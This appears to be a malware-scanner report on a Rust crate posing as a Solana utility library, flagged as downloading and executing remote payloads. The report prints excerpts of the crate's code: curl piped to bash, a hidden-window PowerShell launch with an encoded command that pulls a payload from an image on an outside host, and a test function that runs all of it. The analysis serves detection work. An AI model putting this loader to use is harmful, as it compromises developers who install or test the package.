Hostile 92% rust Download

solana_util 0.1.0

Downloads and executes remote payloads

“A short description of your Solana utility library”

Spawned curl-pipe-shell remote code executionPackage first published within seven days
SHA-256a7cd0e08ef5e6d9c1edf18bc0b46ecfb0a483c446b410c888c4a9449035fe370

Evidence

Constructs a Rust process command lines 1–39
1use std::process::{Command, Stdio};
2
3/// Linux: curl -fsSL <url> | bash
4fn run_linux() {
5 println!("[*] Spawning Linux payload...");
6
7 let curl = Command::new("curl")
8 .args([
9 "-fsSL",
⋯4 lines
14 .expect("failed to spawn curl");
15
16 let status = Command::new("bash")
17 .stdin(curl.stdout.unwrap())
18 .status()
19 .expect("failed to spawn bash");
20
21 println!("[*] bash exited with: {:?}", status);
22}
23
24/// macOS: curl -fsSL <url> | bash
25fn run_macos() {
26 println!("[*] Spawning macOS payload...");
27
28 let curl = Command::new("curl")
29 .args([
30 "-fsSL",
⋯9 lines
HTTP URL targets an image file lines 42–68
42:4… println!("[*] bash exited with: {:?}", status);
43}
44
45/// Windows: powershell -nop -w h -ep bypass -EncodedCommand <base64>
46fn run_windows() {
47 println!("[*] Spawning Windows payload...");
48
49 // ------------------------------------------------------------------
50 // 1. Download the image to the current directory (where the PS
51 // script will look for it via (pwd).Path / $PSScriptRoot fallback)
52 // ------------------------------------------------------------------
53 let image_url = "https://tubular-cassata-4d40d2.netlify.app/screenshot_2.png";
54 let image_path = "screenshot_2.png";
55
56 println!("[*] Downloading {} ...", image_url);
57
58 let dl_status = Command::new("curl")
59 .args([
60 "-fsSL",
⋯8 lines
Rust launches PowerShell lines 79–95
79:2364… UmVhZEFsbEJ5dGVzKCRpbWcpLCQobywkbil9Cg==";
80
81 let ps_status = Command::new("powershell")
82 .args([
83 "-nop",
⋯12 lines
imports super::* lines 100–112
100:3… other => eprintln!("Unsupported platform: {}", other),
101 }
102}
103#[cfg(test)]
104mod tests {
105 use super::*;
106
107 #[test]
108 fn it_works() {
109 match std::env::consts::OS {
110 "linux" => run_linux(),
111 "macos" => run_macos(),
112 "windows" => run_wind …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.